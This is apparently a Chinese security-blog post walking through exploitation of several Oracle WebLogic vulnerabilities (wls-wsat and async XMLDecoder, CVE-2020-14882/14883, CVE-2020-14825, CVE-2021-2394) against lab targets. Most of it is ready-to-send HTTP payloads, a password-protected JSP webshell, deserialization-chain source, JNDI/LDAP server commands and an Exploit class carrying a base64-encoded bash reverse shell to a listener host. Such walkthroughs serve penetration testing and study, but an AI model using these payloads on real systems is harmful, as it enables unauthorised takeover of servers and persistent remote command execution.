进入网站,看到404页面便表示环境正常(也可尝试访问/wls-wsat/CoordinatorPortType查看漏洞页面是否存在):
此处我们进行上传文件的操作(可直接用来写shell)。首先用burpsuite抓包,POST数据
最后访问上传文件的位置,即/wls-wsat/test.txt
,可成功看到文件内容。
POC(POST包中的数据)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
<string>Successful</string></void><void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
访问http://xxxxx/_async/AsyncResponseService/ 页面,若出现以下状况,则可能存在漏洞。
用下方直接给出POC,复制到burpsuite的Repeater中使用(需要更改host)。
执行完后直接访问:
http://xxxxxx/_async/webshell.jsp?pwd=123&cmd=whoami
POC:
POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 1142
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string><void method="println"><string><![CDATA[
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>]]>
</string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面(可能要多次尝试):
http://[靶场url]/console/css/%252e%252e%252fconsole.portal
访问后台后,可以发现我们现在是低权限的用户,无法安装应用,所以也无法直接执行任意代码:
此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。
直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:
http://[靶场url]/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1‘);”)
进入容器,可以发现touch /tmp/success1已成功执行:
这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。
首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如http://example.com/rce.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:
http://[靶场url]/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")
这个利用方法也有自己的缺点,就是需要Weblogic的服务器能够访问到恶意XML。
Weblogic Server 10.3.6.0.0
Weblogic Server 12.1.3.0.0
Weblogic Server 12.2.1.3.0
Weblogic Server 12.2.1.4.0
Weblogic Server 14.1.1.0.0
需要一台公网服务器,假设ip为:123.123.123.123
下载exp:https://github.com/feihong-cs/JNDIExploit/releases/download/v.1.11/JNDIExploit.v1.11.zip
服务器上执行
java -jar JNDIExploit-v1.11.jar -i 123.123.123.123
结合CVE-2020-14882
的未授权访问漏洞,访问目标的http://weblogic.vdb.aqlab.cn/console/css/%252e%252e%252f/consolejndi.portal
页面,把get包
转换为post包
,,内容为:_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://123.123.123;123:1389/Basic/WeblogicEcho;AdminServer%22)
**注意:id地址写法为:123.123.123;123
全部内容如下,请注意细节
POST /console/css/%252e%252e%252f/consolejndi.portal HTTP/1.1
Host: 目标地址
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
cmd:指令
Cookie: ADMINCONSOLESESSION=YEBoe53yuwd3oGqHRg8WmE9Hq4CvspjcmuapEnNrKyod3MO5Zz5y!-549917897
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 175
_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://你的服务器:1389/Basic/WeblogicEcho;AdminServer%22)
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。WebLogic是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器,具有可扩展性,快速开发,灵活,可靠性等优势。
此漏洞在Oracle官方在2020年10月份发布的最新安全补丁中披露。该漏洞允许未经身份验证的攻击者通过IIOP,T3进行网络访问,未经身份验证的攻击者成功利用此漏洞可能接管Oracle WebLogic Server。CVSS评分9.8。
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0
注意所有地址都 不要用 127.0.0.1,否则影响成功率
注意所有地址都 不要用 127.0.0.1,否则影响成功率
注意所有地址都 不要用 127.0.0.1,否则影响成功率
部分文件的生成需要导入外部jar包,相关文件附件自取,导入方法自行百度
1、新建文件 Exp.java
public class Exp {
// POC open calc
public Exp(){
try{
Runtime.getRuntime().exec("calc.exe");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] args){
Exp e = new Exp();
}
}
使用javac exp.java
生成 exp.class
文件,使用sudo python3 -m http.server 80
开启服务器环境
2、准备文件 CVE_2020_14825.java
,生成cve_2020_14825.ser
。
这一步编译文件需要ysoserial-master-d367e379d9-1.jar
、ddmp-webservice-fmwclient-12.2.1.3.jar
和coherence.jar
三个文件
import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import ysoserial.payloads.util.Reflections;
import java.io.*;
import java.util.PriorityQueue;
public class CVE_2020_14825 {
public static void main(String[] args) throws Exception {
MethodAttributeAccessor accessor = new MethodAttributeAccessor();
accessor.setAttributeName("Timeline Sec");
accessor.setIsWriteOnly(true);
accessor.setGetMethodName("getDatabaseMetaData");
// accessor.setGetMethodName("connect");
LockVersionExtractor extractor = new LockVersionExtractor(accessor,"");
JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(com.sun.rowset.JdbcRowSetImpl.class);
jdbcRowSet.setDataSourceName("ldap://192.168.159.128:1389/#Exp");
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(extractor));
Reflections.setFieldValue(queue,"size",2);
Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(new File("cve_2020_14825.ser")));
out.writeObject(queue);
out.flush();
out.close();
// readObject();
}
public static void readObject() {
FileInputStream fis = null;
try {
fis = new FileInputStream(new File("").getAbsolutePath() + "/cve_2020_14825.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
执行 java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://192.168.159.128/#Exp 1389
3、从https://github.com/rufherg/WebLogic_Basic_Poc
获取poc 文件,执行 sudo python3 1.py -u 192.168.159.130 -p 7001 -f cve_2020_14825.ser
即可
WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
Oracle官方发布了2021年7月份安全更新通告,通告中披露了WebLogic组件存在高危漏洞,攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。
这是一个二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表。
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0
工具准备:
# marshalsec
https://github.com/mbechler/marshalsec # 需要自己编译
mvn clean package –DskipTests
https://github.com/RandomRobbieBF/marshalsec-jar # 可以直接使用
#CVE_2021_2394.jar
https://github.com/lz2y/CVE-2021-2394/releases/tag/2.0
创建Exploit.java
,通过javac编译得到Exploit.class
# win
public class Exploit {
static {
System.err.println("Pwned");
try {
String cmds = "cale";
Runtime.getRuntime().exec(cmds);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
首先将bash -i >& /dev/tcp/192.168.174.143/7777 0>&1
进行base64编码
# linux
public class Exploit{
public Exploit(){
try{
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xNDMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
执行javac Exploit.java
得到Exploit.class
在同目录下使用python开启一个http服务,并使用marshalsec开启JNDI服务
python3 -m http.server 8000
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.174.143:8000/#Exploit" 8087
开启监听nc -lvnp 7777
运行
java -jar CVE_2021_2394.jar 192.168.174.143 7001 ldap://192.168.174.143:8087/Exploit
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
yangroupaomo
发表于 2021-10-19
附件怎么没有
评论列表
加载数据中...